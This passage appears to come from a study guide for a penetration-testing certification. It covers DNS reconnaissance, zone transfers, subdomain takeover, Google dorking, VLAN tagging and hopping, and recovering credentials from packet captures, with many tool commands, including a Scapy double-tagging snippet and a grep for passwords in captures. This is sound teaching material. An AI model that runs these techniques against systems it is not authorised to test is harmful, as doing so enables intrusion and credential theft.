This chapter covers Appendix B of the syllabus. Although Appendix B is much shorter than the others, mastery of DNS reconnaissance underpins virtually every other phase of an assessment. Misconfiguration of DNS is also one of the most reliable sources of low-effort high-value findings in real engagements.

3.1 The Domain Name System (DNS) - First Principles

DNS is the distributed, hierarchical name resolution system of the internet. The hierarchy descends from the root zone (.), through top-level domains (.com, .uk, .gov.uk), through second-level domains (example.com), to subdomains (www.example.com, mail.example.com).

DNS resolution is delegated: the root nameservers know which nameservers are authoritative for each TLD; TLD nameservers know which nameservers are authoritative for each second-level domain; and so on. A typical recursive resolution involves multiple queries up and down this hierarchy, cached at each level for the duration specified by the TTL on each record.

Two transport mechanisms are used: - UDP/53 for normal queries and responses - TCP/53 for responses larger than 512 bytes (and specifically for zone transfers)

DNS is fundamentally a trust system - clients trust whatever response their resolver returns. This trust assumption is what makes DNS spoofing, cache poisoning, and rogue resolver attacks possible.

3.1.1 DNS Record Types Relevant to the CRT

Record	Purpose	Typical content
A	IPv4 address	mail IN A 192.0.2.10
AAAA	IPv6 address	mail IN AAAA 2001:db8::10
CNAME	Alias to another name	www IN CNAME web1.example.com.
MX	Mail exchanger	example.com IN MX 10 mail.example.com.
NS	Authoritative nameserver	example.com IN NS ns1.example.com.
PTR	Reverse lookup (IP -> name)	10.2.0.192.in-addr.arpa IN PTR mail.example.com.
SOA	Start of Authority	(See below)
TXT	Free text - holds SPF, DKIM, DMARC, verification tokens	"v=spf1 mx -all"
SRV	Service location (port + host)	_kerberos._tcp IN SRV 0 100 88 dc01.corp.local.
HINFO	Host info (CPU, OS) - rarely populated, sometimes a finding	"Intel x64" "Linux"
CAA	Certificate Authority Authorisation	example.com IN CAA 0 issue "letsencrypt.org"
NAPTR	Naming Authority Pointer (used in SIP, ENUM)	(complex)
DNSKEY/DS/RRSIG	DNSSEC validation records	(binary)

The SOA (Start of Authority) record contains administrative information about the zone:

```
example.com. 3600 IN SOA ns1.example.com. hostmaster.example.com. (  
  2025040101 ; serial number  
  7200      ; refresh interval (seconds)  
  3600      ; retry interval (seconds)  
  1209600   ; expire after (seconds)  
  300       ; negative response TTL  
)
```

The serial number is conventionally YYYYMMDDNN and increments on every zone change. This means it can leak information about how often a zone is modified (a zone updated daily looks operationally healthy; a zone with a serial from 2018 may indicate a forgotten domain ripe for takeover).

The TXT record family is now the home for several modern email security mechanisms:

- **SPF** (Sender Policy Framework): "v=spf1 ip4:192.0.2.0/24 include:_spf.google.com ~all". Specifies which IPs may legitimately send mail for the domain. The terminator (-all = hard fail, ~all = soft fail, +all = pass anything, ?all = neutral) determines enforcement.
- **DKIM** (DomainKeys Identified Mail): selector._domainkey.example.com IN TXT "v=DKIM1; k=rsa; p=<pubkey>". Public key for

verifying outbound mail signatures.

- **DMARC** (Domain-based Message Authentication, Reporting and Conformance): `_dmarc.example.com IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"`. Policy for handling messages that fail SPF and DKIM. Common policies are `none` (monitor only), `quarantine` (junk folder), `reject` (do not deliver).

Findings to look for in TXT records: - `v=spf1 ... +all` - the `+all` qualifier permits anyone to send mail claiming to be from this domain. This is a misconfiguration. - `v=spf1 ... ?all` - permits anyone to send (neutral). Same impact as missing SPF. - Missing SPF entirely - allows trivial spoofing. - Missing DMARC - even if SPF is present, lack of DMARC means receivers do not know how to handle failures. - DMARC `p=none` - present but only logs failures, does not act on them.

3.2 DNS Query Tools

3.2.1 `dig` - The Definitive DNS Tool

`dig` is the BIND-shipped DNS query tool and the best for any non-trivial DNS work. Basic usage:

```
# Default: query the system resolver for an A record
dig example.com

# Specify record type
dig example.com MX
dig example.com NS
dig example.com TXT
dig example.com SOA
dig example.com ANY           # may return empty due to RFC 8482

# Specify server explicitly
dig @8.8.8.8 example.com
dig @ns1.example.com example.com SOA

# Reverse lookup
dig -x 192.0.2.10

# Short output (just the answer values)
dig +short example.com
dig +short example.com MX

# Trace from the root - useful for debugging DNS chains
dig +trace example.com

# Set query flags
dig +noall +answer example.com # answer section only
dig +noall +authority example.com # authority section only

# Don't use search list (avoid being misled by /etc/resolv.conf)
dig +nosearch example.com
```

A typical `dig` response has four sections:

```
;; QUESTION SECTION:
example.com.                IN      A

;; ANSWER SECTION:
example.com.                300     IN      A      93.184.216.34

;; AUTHORITY SECTION:
example.com.                172800  IN      NS      a.iana-servers.net.

;; ADDITIONAL SECTION:
a.iana-servers.net.        172800  IN      A      199.43.135.53
```

The status line in the header is also important. `NOERROR` means a successful query (even if zero answers were returned). `NXDOMAIN` means the name does not exist. `SERVFAIL` means the server could not respond (usually a misconfiguration). `REFUSED` means the server explicitly declined to answer.

3.2.2 `host` - Simpler Output

`host` is a simpler tool for quick lookups. Less powerful than `dig` but easier output:

```
host example.com             # all common record types
host -t MX example.com      # specific type
host -t TXT example.com
host -a example.com          # all records
host -l example.com ns1.example.com # zone transfer (legacy)
host 93.184.216.34          # reverse
```

3.2.3 `nslookup` - Interactive Mode

`nslookup` is an older interactive tool, useful when you want to query multiple records against a single server:

```

nslookup
> server 8.8.8.8
> set type=mx
> example.com
> set type=ns
> example.com
> set type=any
> example.com
> exit

```

3.3 Zone Transfers (AXFR/IXFR)

A zone transfer is the bulk replication of an entire DNS zone from a primary nameserver to a secondary. Two flavours:

- **AXFR** - full transfer. The entire zone is sent.
- **IXFR** - incremental transfer. Only changes since a specified serial are sent.

Zone transfers are intended only between authorised secondaries. A correctly configured nameserver restricts AXFR to specific source IPs (or to TSIG-signed requests). When this restriction is missing, anyone on the internet can request the full zone, disclosing every record.

3.3.1 Performing a Zone Transfer

```

# Identify nameservers for the domain
dig example.com NS +short

# Attempt zone transfer against each
dig @ns1.example.com example.com AXFR
dig @ns2.example.com example.com AXFR
host -l example.com ns1.example.com
fierce --domain example.com
dnsrecon -d example.com -t axfr
dnsenum example.com

```

A successful AXFR returns the entire zone:

```

; <<>> DiG 9.18.0 <<>> @ns1.zonetransfer.me zonetransfer.me AXFR
;; global options: +cmd
zonetransfer.me.      7200      IN        SOA       nsztml.digi.ninja. robin.digi.ninja. 2019100801 172800 900 1209600 3600
zonetransfer.me.      300       IN        HINFO     "Casio fx-700G" "Windows XP"
zonetransfer.me.      301       IN        TXT       "google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04VlMewxA"
zonetransfer.me.      7200      IN        MX        0 ASPMX.L.GOOGLE.COM.
zonetransfer.me.      7200      IN        MX        10 ALTL.ASPMX.L.GOOGLE.COM.
zonetransfer.me.      7200      IN        A         5.196.105.14
office.zonetransfer.me. 7200      IN        A         4.23.39.254
ip6actnow.org.zonetransfer.me. 7200 IN A 10.0.0.5
asfdbauthdns.zonetransfer.me. 7900 IN AFSDB 1 asfdbbox.zonetransfer.me.
canberra-office.zonetransfer.me. 7200 IN A 202.14.81.230
[... many more records ...]

```

The classic public test domain for AXFR is `zonetransfer.me`. Practise against it before the exam. Note the HINFO record disclosing CPU and OS - exactly the type of disclosure that should not be published.

3.3.2 Why AXFR Is a Finding

A successful AXFR discloses:

- Every host the organisation has named (potentially hundreds, including hosts not externally reachable)
- Internal IP addressing schemes (RFC 1918 ranges leak through DNS surprisingly often)
- Service locations via SRV records (Active Directory infrastructure leaks via `_kerberos`, `_ldap`, `_msdcs`, etc.)
- Mail infrastructure
- Backup, dev, staging, and test environments (often less hardened than production)
- Forgotten or deprecated hosts
- Naming conventions that aid further enumeration

3.4 Subdomain Enumeration

When a zone transfer is not available, subdomain discovery falls back to brute force or curated wordlist enumeration.

3.4.1 Tool-Based Subdomain Discovery

```
# dnsrecon - brute force from wordlist
dnsrecon -d example.com -t brt -D /usr/share/wordlists/dnsmap.txt

# dnsenum - combined approach
dnsenum --enum example.com -f /usr/share/wordlists/dnsmap.txt

# fierce - bracket-and-brute
fierce --domain example.com

# gobuster DNS mode
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

# ffuf for HTTP-based subdomain discovery (requires testing each candidate)
ffuf -u http://FUZZ.example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302,403
```

3.4.2 Passive Subdomain Discovery

In real engagements, passive sources (Certificate Transparency logs, DNS aggregators, search engines) are often more productive than active brute force. Without internet access in the exam, these are not available, but worth knowing for the principle.

- `crt.sh` - search Certificate Transparency logs for issued certificates including the domain
- `dnsdumpster.com` - aggregated DNS data
- `securitytrails.com`, `virustotal.com`, `shodan.io`, `censys.io`
- Tools: `subfinder`, `amass`, `assetfinder`, `findomain`

3.5 Dangling DNS and Subdomain Takeover

A **dangling DNS record** is a record that points to a resource (e.g. a cloud service, a CDN endpoint, a heroku app, an S3 bucket, an Azure web app) that no longer exists or is no longer claimed. If an attacker can register the resource themselves, they can serve content from a hostname under the victim's domain - leading to credential theft, cookie theft, phishing, and bypass of same-origin protections that depend on the parent domain.

3.5.1 The Mechanism

Suppose `marketing.example.com` is configured with a CNAME pointing to `example-marketing.s3.eu-west-2.amazonaws.com`. The marketing team decommissioned that bucket six months ago. The bucket name is now available for anyone to claim on AWS.

An attacker discovers this via DNS enumeration. They register `example-marketing` as their own S3 bucket in the same AWS region. Now any visitor browsing to `https://marketing.example.com` is served content from the attacker's bucket. The attacker can:

- Set a session cookie scoped to `.example.com`
- Phish users with a convincing URL
- Bypass CORS or referrer-based protections
- Issue a TLS certificate via Let's Encrypt for the hostname (since they prove control of it via HTTP)

3.5.2 Cloud Services Vulnerable to Takeover

Many CNAME targets allow takeover of unclaimed resources. The frequently-vulnerable services include:

Service	CNAME target pattern	How takeover works
AWS S3	<code>*.s3.amazonaws.com</code> , <code>*.s3-website-*.amazonaws.com</code>	Register bucket with the same name
AWS CloudFront	<code>*.cloudfront.net</code>	Register CloudFront distribution with same CNAME
GitHub Pages	<code>*.github.io</code>	Create repo with same name
Heroku	<code>*.herokuapp.com</code>	Register Heroku app with same name
Azure Web Apps	<code>*.azurewebsites.net</code>	Register Azure web app
Azure Storage	<code>*.blob.core.windows.net</code>	Register storage account
Azure CDN	<code>*.azureedge.net</code>	Register CDN endpoint
Shopify	<code>*.myshopify.com</code>	Register store
Tumblr	<code>*.tumblr.com</code>	Register Tumblr blog
Fastly	<code>*.fastly.net</code>	Register service
Pantheon	<code>*.pantheonsite.io</code>	Register site
Bitbucket	<code>*.bitbucket.io</code>	Create repo

3.5.3 Detecting Vulnerable Records


```
# Resolve and check for known fingerprints
dig +short marketing.example.com
> example-marketing.s3.eu-west-2.amazonaws.com.

# Verify the CNAME resolves but the target returns a "not found" or "no such bucket"
curl -v https://marketing.example.com/
> NoSuchBucket
> The specified bucket does not exist
```

The `subjack` and `subzy` tools automate this scan against a list of subdomains:

```
subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c /usr/share/wordlists/fingerprints.json -v
subzy run --targets subdomains.txt
```

3.6 OSINT and Adjacent Reconnaissance

Although the CRT exam is largely conducted in a closed environment, the syllabus references information gathering broadly. The other reconnaissance techniques you should know:

3.6.1 WHOIS

```
whois example.com
whois 192.0.2.0 # IP-based WHOIS via RIRs (RIPE, ARIN, APNIC, LACNIC, AFRINIC)
```

WHOIS discloses: - Registrar - Registration, last-modified, expiry dates - Nameservers - (Increasingly redacted post-GDPR) Registrant contacts
For IP ranges, WHOIS to the regional internet registry (RIR) discloses the netblock owner, allocation history, and abuse contact.

3.6.2 Google Dorking

The use of Google's advanced search operators to find disclosed information. Operators include:

Operator	Purpose
<code>site:</code>	Restrict to a domain
<code>inurl:</code>	Match in URL
<code>intitle:</code>	Match in page title
<code>intext:</code>	Match in page body
<code>filetype:</code> or <code>ext:</code>	File extension
<code>cache:</code>	Google's cached version
<code>link:</code>	Pages linking to URL (now deprecated)
<code>-</code>	Exclude
<code>OR</code>	Logical OR
<code>" "</code>	Exact phrase

Examples:

```
site:example.com filetype:pdf "confidential"
site:example.com inurl:admin
site:example.com -www
intitle:"index of" "parent directory" site:example.com
"@example.com" filetype:xls OR filetype:xlsx
```

The Google Hacking Database (GHDB) maintained at <https://www.exploit-db.com/google-hacking-database> contains thousands of curated dorks.

3.6.3 Shodan and Censys

Shodan and Censys are search engines for internet-facing services (rather than web pages). They scan the internet continuously and index banner data, certificate data, SSH host keys, and other service-level data.

Useful Shodan filters:

```
org:"Example Corp"
hostname:example.com
port:445 country:GB
ssl.cert.subject.cn:"example.com"
http.title:"Login" product:"Apache"
```

In a CRT exam context, these are not directly available, but understanding their data model helps when evaluating what an attacker could discover externally about an organisation.

3.7 Reconnaissance Methodology

A sound reconnaissance methodology for an externally-scoped engagement might look like:

1. **Enumerate domains owned by the target** - WHOIS, certificate transparency, OSINT
2. **For each domain, identify nameservers** - `dig NS`
3. **Attempt zone transfer against each nameserver** - `dig AXFR`
4. **Brute-force subdomains** with multiple wordlists
5. **Identify all unique IP addresses** behind discovered hostnames
6. **Map IPs back to organisations** via reverse WHOIS to find adjacent ranges
7. **For each unique IP, port scan** (lightly initially, then deeply on responsive hosts)
8. **For each open port, fingerprint the service** and capture banner data
9. **Catalogue findings** in a single source of truth (a spreadsheet, a Git repo, anything searchable)

By the end of reconnaissance you should be able to draw a picture of the target's internet footprint sufficient to plan exploitation. Skipping reconnaissance to “get straight to the exploitation” is the hallmark of an inexperienced tester and almost always results in missed findings.

3.8 Section Summary

DNS is fundamental to internet operations and a rich source of low-effort findings. Before progressing, ensure you can:

1. Query any record type from any nameserver with `dig`
2. Attempt and detect a successful zone transfer
3. Brute-force subdomains with at least two distinct tools
4. Identify the indicators of a dangling DNS record vulnerable to takeover
5. Read SPF, DKIM, and DMARC records and identify weak configurations
6. Use WHOIS to derive intelligence about an organisation's infrastructure

The next chapter (Networks) builds on this by extending reconnaissance to host and service discovery within the discovered IP space.

Part 4: Networks (Appendix C - PT004)

This chapter covers the Networks appendix of the syllabus. It is the largest single appendix in the syllabus by skill count and includes the new (and 20-mark-weighted) **Routing Manipulation** topic. The chapter also covers VLAN tagging in detail - another area new to CRT v2.0 that examiners actively probe.

4.1 IPv4 Protocol Fundamentals (C1)

The Internet Protocol version 4 (IPv4) is the network layer protocol underlying virtually every system you will encounter on the CRT. While IPv6 is in the syllabus's awareness scope, IPv4 dominates exam targets.

4.1.1 IPv4 Header Anatomy

The IPv4 header is 20 bytes minimum, with optional extensions. The fields you should recognise:

Field	Bits	Purpose
Version	4	Always 0100 (4) for IPv4
IHL	4	Header length in 32-bit words (5 = 20 bytes, no options)
ToS / DSCP	8	Type of Service / DiffServ marking
Total Length	16	Total packet size including header
Identification	16	Used to reassemble fragmented packets
Flags	3	Don't Fragment (DF), More Fragments (MF)
Fragment Offset	13	Position of this fragment in the original packet
TTL	8	Decrement at each hop. When 0, packet is discarded. Used in OS fingerprinting.
Protocol	8	Next header type: 1=ICMP, 2=IGMP, 6=TCP, 17=UDP, 50=ESP, 51=AH
Header Checksum	16	Of the IP header only
Source IP	32	
Destination IP	32	
Options	variable	Source routing, record route, timestamp - rarely used

The TTL field is critical for OS fingerprinting (covered in Chapter 2) and for traceroute (covered later in this chapter).

4.1.2 Static Configuration vs DHCP

Hosts obtain IP configuration in two ways:

Static configuration is set manually by an administrator. The host has fixed IP, netmask, gateway, and DNS settings that persist across reboots. Found on servers, network equipment, and any host where stability of address is required.

Dynamic Host Configuration Protocol (DHCP) is a layer-7 protocol used to assign IP configuration automatically. The DHCP exchange follows a four-message DORA pattern:

1. **DISCOVER** (client -> broadcast 255.255.255.255:67 from 0.0.0.0:68): "is anyone offering an IP?"
2. **OFFER** (server -> broadcast or unicast :68 from server:67): "I'm offering 10.0.0.50/24, gateway 10.0.0.1, DNS 10.0.0.2"
3. **REQUEST** (client -> broadcast :67 from 0.0.0.0:68): "I accept the offer from server X"
4. **ACK** (server -> client :68 from server:67): "confirmed, you have this lease for 24 hours"

DHCP is interesting from a penetration testing perspective because: - It can leak information (DNS server addresses indicate the AD DC; PXE boot servers indicate imaging infrastructure) - A rogue DHCP server can MITM clients (assigning attacker IP as gateway/DNS) - DHCP-supplied options can disclose Windows domain via Option 15 (Domain Name) and Option 6 (DNS Servers)

4.1.3 Host Discovery on a Local Subnet

When you have layer-2 access (you are on the same subnet as the targets), several techniques discover live hosts:

ARP scan - the most reliable. ARP is required for any L2-L3 communication, so any responsive host must respond to ARP regardless of host firewall configuration.

```
# arp-scan - direct ARP sweep
sudo arp-scan -l # auto-detect interfaces
sudo arp-scan -I eth0 10.0.0.0/24
sudo arp-scan --interface=eth0 --localnet

# netdiscover - passive and active
sudo netdiscover -r 10.0.0.0/24 -P # passive
sudo netdiscover -r 10.0.0.0/24 # active

# nmap with -PR (ARP ping)
sudo nmap -sn -PR 10.0.0.0/24
```

ARP responses include the MAC address, which encodes the OUI (Organisationally Unique Identifier) - the first three octets identify the NIC manufacturer. Useful for asset identification (`00:50:56:*` = VMware vSwitch, `00:0c:29:*` = VMware Workstation, `52:54:00:*` = QEMU/KVM, `08:00:27:*` = VirtualBox, `00:15:5d:*` = Hyper-V).

ICMP echo (ping) - works only when ICMP is permitted on the network.

```
# fping - parallel ping
fping -aq -g 10.0.0.0/24
fping -a -g 10.0.0.0/24 2>/dev/null

# nmap ping sweep
sudo nmap -sn -PE 10.0.0.0/24 # ICMP echo
sudo nmap -sn -PP 10.0.0.0/24 # ICMP timestamp request
sudo nmap -sn -PM 10.0.0.0/24 # ICMP address mask request
```

TCP/UDP probe ping - useful when ICMP is blocked but TCP services respond.

```
sudo nmap -sn -PS80,443,22,3389 10.0.0.0/24 # TCP SYN ping
sudo nmap -sn -PA80,443 10.0.0.0/24 # TCP ACK ping
sudo nmap -sn -PU53,161 10.0.0.0/24 # UDP ping
```

When in doubt, **combine all techniques** by passing multiple `-P*` options. Modern hosts vary in what they respond to.

4.1.4 Routing Concepts

Every IP packet leaving a host traverses the host's routing table. Linux:

```
ip route show # current routing table
ip route get 8.8.8.8 # show which route is used for a destination

# Modifying routes
sudo ip route add 10.10.20.0/24 via 10.10.10.1
sudo ip route add 10.10.20.0/24 via 10.10.10.1 dev eth0
sudo ip route add default via 192.168.1.1
sudo ip route del 10.10.20.0/24

# Show neighbours (ARP cache)
ip neigh show
```

Windows:

```
route print
route add 10.10.20.0 mask 255.255.255.0 10.10.10.1
route delete 10.10.20.0
```

The routing table determines which interface and gateway a packet uses. When pivoting through a compromised host, manipulating local routes lets you reach networks not directly accessible from your testing machine.

4.1.5 ICMP, IGMP, TCP, UDP - Quick Protocol Reference

ICMP (Internet Control Message Protocol) carries control messages over IP. The types relevant to a tester:

Type	Code	Meaning
0	0	Echo Reply
3	0	Destination Network Unreachable
3	1	Destination Host Unreachable
3	3	Destination Port Unreachable (often returned by UDP scans of closed ports)
3	9	Network Administratively Prohibited
3	10	Host Administratively Prohibited
3	13	Communication Administratively Prohibited
5	*	Redirect (rarely used today)
8	0	Echo Request (ping)
11	0	TTL Exceeded in Transit (used in traceroute)
11	1	Fragment Reassembly Time Exceeded
13	0	Timestamp Request
14	0	Timestamp Reply
17	0	Address Mask Request
18	0	Address Mask Reply

ICMP responses can leak information (the difference between “no route to host” from a router and “host unreachable” from the destination’s L2 neighbour, for example).

IGMP (Internet Group Management Protocol) supports multicast group membership. Rarely directly relevant to penetration testing other than that hosts speaking IGMP are doing multicast (e.g. mDNS, SSDP, video streaming).

TCP (Transmission Control Protocol) provides reliable, ordered, connection-oriented transport. The three-way handshake:

1. Client -> Server: **SYN** (synchronise sequence number)
2. Server -> Client: **SYN/ACK** (acknowledge + own SYN)
3. Client -> Server: **ACK** (acknowledge)

After this, data flows in both directions. Connection closure is via:

1. **FIN** from one side
2. **ACK** of the FIN
3. **FIN** from the other side
4. **ACK** of that FIN

A TCP connection can also be aborted with **RST** (reset).

The TCP flags relevant to scanning:

- **SYN** - connection establishment
- **ACK** - acknowledgement of received data
- **FIN** - graceful close
- **RST** - abrupt close
- **PSH** - push data immediately to application
- **URG** - urgent data marker

The TCP states (visible in `netstat` / `ss` output):

- **LISTEN** - server waiting for connections
- **SYN_SENT** - client sent SYN, awaiting SYN/ACK
- **SYN_RECV** - server received SYN, sent SYN/ACK, awaiting ACK
- **ESTABLISHED** - connection up
- **FIN_WAIT_1**, **FIN_WAIT_2** - active close, awaiting FIN
- **CLOSE_WAIT** - passive close, application has not yet closed
- **CLOSING** - both sides closed simultaneously
- **LAST_ACK** - awaiting final ACK
- **TIME_WAIT** - waiting for any in-flight packets to die (typically 2MSL = 60-120s)
- **CLOSED** - terminal state

UDP (User Datagram Protocol) is connectionless and unreliable. A UDP “scan” sends a datagram and infers state from the response (or lack thereof):

- ICMP Type 3 Code 3 (“Port Unreachable”) -> port is closed
- No response -> port is open OR filtered (ambiguous)

- A response from the service -> port is open

UDP scanning is therefore inherently slow (you must wait for timeouts) and unreliable. Modern Linux kernels rate-limit ICMP responses, slowing scans further. nmap's `--top-ports 100 -sU` is usually sufficient for the CRT.

4.1.6 IPsec Awareness

The syllabus calls for “awareness” of IPsec, not deep expertise. The essentials:

IPsec is a suite of protocols providing authentication, integrity, and confidentiality at the IP layer. Two main architectural choices:

- **Transport mode:** secures the payload of the IP packet (used for end-to-end protection between two hosts)
- **Tunnel mode:** encapsulates the entire original IP packet inside a new one (used for VPN gateways)

Two main protocol types:

- **AH (Authentication Header)** - integrity and authentication, no confidentiality. Protocol number 51. Rarely deployed.
- **ESP (Encapsulating Security Payload)** - authentication, integrity, and confidentiality. Protocol number 50. The norm.

Key exchange is via **IKE (Internet Key Exchange)**, on UDP/500 (and UDP/4500 for NAT-T). IKEv1 has two phases (Main Mode and Aggressive Mode for phase 1, then Quick Mode for phase 2). IKEv2 simplified this.

IKE Aggressive Mode with PSK (pre-shared key) authentication is well-known to be vulnerable to offline cracking - the responder sends a hash of the PSK in the clear. `ike-scan -A` discovers this; the resulting hash is crackable with `psk-crack` or hashcat (mode 5300).

4.1.7 IPv6 Awareness

IPv6 is in the syllabus as “awareness”. Key points:

- Addresses are 128 bits, written as eight groups of four hex digits separated by colons
- `::` represents one or more zero groups (`fe80::1` = `fe80:0:0:0:0:0:0:1`)
- Link-local addresses start with `fe80::/10`
- Unique local addresses start with `fc00::/7` (analogous to RFC 1918)
- Global unicast typically `2000::/3`
- Multicast `ff00::/8`
- Loopback `::1`

Common ICMPv6 message types: 128 (Echo Request), 129 (Echo Reply), 133/134 (Router Solicitation/Advertisement), 135/136 (Neighbour Solicitation/Advertisement - the IPv6 equivalent of ARP).

For nmap IPv6 scanning, use `-6`:

```
sudo nmap -6 -sS fe80::1%eth0
```

4.2 Network Connections (C2)

The physical and link layer technologies a tester encounters:

Ethernet comes in copper (1000BASE-T at 1 Gbps over Cat5e/Cat6 RJ45) and fibre (1000BASE-SX/LX, 10GBASE-SR/LR, etc. over various fibre types). From a tester's perspective the relevant feature is layer-2 switching: hosts on the same VLAN see each other's broadcast traffic and can ARP-poison each other (subject to switch port security).

Wi-Fi standards in current use:

Standard	Year	Frequency	Max speed
802.11a	1999	5 GHz	54 Mbps
802.11b	1999	2.4 GHz	11 Mbps
802.11g	2003	2.4 GHz	54 Mbps
802.11n (Wi-Fi 4)	2009	2.4/5 GHz	600 Mbps
802.11ac (Wi-Fi 5)	2013	5 GHz	3.5 Gbps
802.11ax (Wi-Fi 6/6E)	2019	2.4/5/6 GHz	9.6 Gbps
802.11be (Wi-Fi 7)	2024	2.4/5/6 GHz	46 Gbps

The CRT does not test Wi-Fi cracking practically (the exam is wired), but candidates should know the standards exist and the broad authentication mechanisms (Open, WEP - broken, WPA-PSK/WPA2-PSK - crackable with Aircrack-ng, WPA-Enterprise/WPA2-Enterprise - 802.1X with EAP).

4.3 VLAN Tagging (C3) - Detailed

This is a 20-mark area new to CRT v2.0 and probed by examiners. A candidate who cannot connect to a specific tagged VLAN from both Linux and Windows is at significant risk in the exam.

4.3.1 IEEE 802.1Q in Detail

802.1Q is the standard for VLAN tagging. A VLAN tag is a 4-byte field inserted into the Ethernet frame between the source MAC address and the EtherType:

Field	Bytes	Purpose
TPID (Tag Protocol Identifier)	2	Always 0x8100 for 802.1Q
TCI (Tag Control Information)	2	Contains: 3 bits priority (PCP), 1 bit DEI (drop eligibility), 12 bits VLAN ID

The 12-bit VLAN ID gives 4,096 possible VLANs. VLAN 0 is reserved (frames are tagged for priority but treated as untagged), VLAN 1 is the default, VLAN 4095 is reserved.

Switch ports operate in two modes:

- **Access port:** a single VLAN. Frames arrive untagged from the host; the switch tags them with the access VLAN ID and forwards. Frames destined for the host are stripped of their VLAN tag before delivery.
- **Trunk port:** multiple VLANs. Frames carry their VLAN tag across the trunk. A “native VLAN” concept exists (default VLAN 1) where frames in the native VLAN cross the trunk untagged.

4.3.2 Connecting to a Specific VLAN from Linux

The Linux kernel supports 802.1Q natively via the 8021q module. Two utilities exist: vconfig (legacy, deprecated) and ip link (modern, preferred).

Modern approach using ip (iproute2):

```
# Load the 802.1Q kernel module
sudo modprobe 8021q

# Verify the module loaded
lsmod | grep 8021q

# Create a virtual interface eth0.100 for VLAN 100 on parent eth0
sudo ip link add link eth0 name eth0.100 type vlan id 100

# Bring the interface up
sudo ip link set dev eth0.100 up

# Assign an IP (statically)
sudo ip addr add 10.10.100.50/24 dev eth0.100

# Or request via DHCP
sudo dhclient eth0.100

# Verify
ip addr show eth0.100
ip -d link show eth0.100      # -d shows the VLAN id

# Test connectivity
ping 10.10.100.1

# To remove later
sudo ip link del eth0.100
```

Legacy approach using vconfig (still in use on older Kali builds):

```
sudo modprobe 8021q
sudo vconfig add eth0 100
sudo ifconfig eth0.100 10.10.100.50 netmask 255.255.255.0 up
```

Multiple VLANs on the same parent - just repeat the process with different IDs:

```
sudo ip link add link eth0 name eth0.100 type vlan id 100
sudo ip link add link eth0 name eth0.200 type vlan id 200
sudo ip link add link eth0 name eth0.999 type vlan id 999

sudo ip link set eth0.100 up
sudo ip link set eth0.200 up
sudo ip link set eth0.999 up
```

4.3.3 Connecting to a Specific VLAN from Windows

Native Windows support for 802.1Q is poor; it depends on the NIC driver. Two main paths:

Intel NICs with PROSet - Intel's driver suite includes 802.1Q support. After installing the latest Intel ProSet drivers:

1. Open Device Manager
2. Right-click the Intel NIC -> Properties -> VLANs tab
3. Click “New” and enter the VLAN ID

This creates an additional virtual adapter for the tagged VLAN. PowerShell equivalent:

```
# Requires Intel PROSet PowerShell module
Add-IntelNetVLAN -ParentName "Ethernet" -VLANID 100
Get-IntelNetVLAN
Remove-IntelNetVLAN -ParentName "Ethernet" -VLANID 100
```

Hyper-V virtual switch - if you can spin up a Hyper-V VM, the virtual switch supports VLAN tagging on its trunks. Set `Set-VMNetworkAdapterVlan -VMName VMName -Access -VlanId 100`.

On Windows Server with native NIC team support (Windows Server 2012+):

```
# Create a NIC team
New-NetLbfoTeam -Name "Team1" -TeamMembers "Ethernet" -Confirm:$false

# Add a team interface for VLAN 100
Add-NetLbfoTeamNic -Team "Team1" -VlanID 100 -Name "Team1-VLAN100"
```

Without NIC vendor support, Windows clients cannot easily tag frames natively. In a CRT exam context, the candidate works from Linux for any VLAN tagging task. Note that the syllabus says “*should be able to connect to a specific VLAN from Linux AND Windows systems*” - if asked the question conceptually, the answer is Intel PROSet (or NIC team interfaces for Server).

4.3.4 VLAN Hopping Attacks

Two well-known attacks against VLAN segregation:

Switch spoofing - the attacker masquerades as a switch and negotiates a trunk link with the access switch using DTP (Dynamic Trunking Protocol). Once the trunk is up, the attacker can tag frames for any VLAN. Mitigation: disable DTP on access ports (`switchport mode access` and `switchport nonegotiate` on Cisco).

Double tagging - the attacker sends a frame with two 802.1Q tags. The first switch strips the outer tag (which matches its native VLAN) and forwards on the trunk. The second switch sees the inner tag and forwards into the target VLAN. The attack is one-way (no return path) but useful for sending malicious traffic into segregated VLANs. Mitigation: do not use VLAN 1 as the native VLAN; configure native VLAN to a tagged-only VLAN (or to an unused VLAN).

To perform double tagging in a lab:

```
# Construct a double-tagged Ethernet frame with Scapy
sudo python3 -c "
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='10.10.20.5')/ICMP()
sendp(pkt, iface='eth0')
"
```

4.4 Traffic Analysis (C4)

The CRT requires you to capture packets in a relevant manner, analyse them to recover credentials, and analyse pre-existing PCAPs to extract information.

4.4.1 Capturing PCAPs

Already covered in Chapter 2 (`tcpdump`). Ensure your captures are full-packet (`-s 0` or omit the snaplen) and that you are not on a switched network where you only see your own traffic (without ARP spoofing or a SPAN port, you see only broadcast/multicast and traffic to/from your own MAC).

4.4.2 Recovering Credentials from PCAPs

The protocols which leak credentials in cleartext (no TLS):

- **HTTP Basic Auth:** `Authorization: Basic <base64(user:pass)>` header
- **HTTP form-based logins:** usernames and passwords in POST body
- **FTP:** `USER` and `PASS` commands
- **Telnet:** keystrokes in the TCP stream, often character-by-character
- **POP3:** `USER` and `PASS` commands
- **IMAP:** `LOGIN <user> <pass>` command
- **SMTP:** `AUTH LOGIN` followed by base64-encoded user and pass on separate lines
- **SNMPv1/v2c:** community string in plaintext as part of every PDU
- **LDAP simple bind without TLS:** bind DN and password in plaintext

- **MSSQL TDS**: depending on encryption settings, login can be plaintext
- **NTLM challenge/response**: not directly the password, but NetNTLMv1/v2 hashes which can be cracked offline

Wireshark's built-in tools to extract these:

- **Statistics -> Conversations** - lists all conversations by protocol
- **File -> Export Objects** - extracts files transferred over HTTP, SMB, TFTP, FTP, IMF
- **Tools -> Credentials** (newer Wireshark versions) - aggregates credential disclosures
- Right-click -> Follow -> TCP Stream / UDP Stream - reassembles a conversation

The `pcredz` tool automates credential extraction from PCAP files:

```
pcredz -f capture.pcap
```

`ngrep` is a CLI tool for grep'ing patterns out of network traffic (live or from PCAP):

```
ngrep -I capture.pcap -i 'pass|user|login'
```

4.4.3 Wireshark Display Filters - Exam-Critical Reference

```
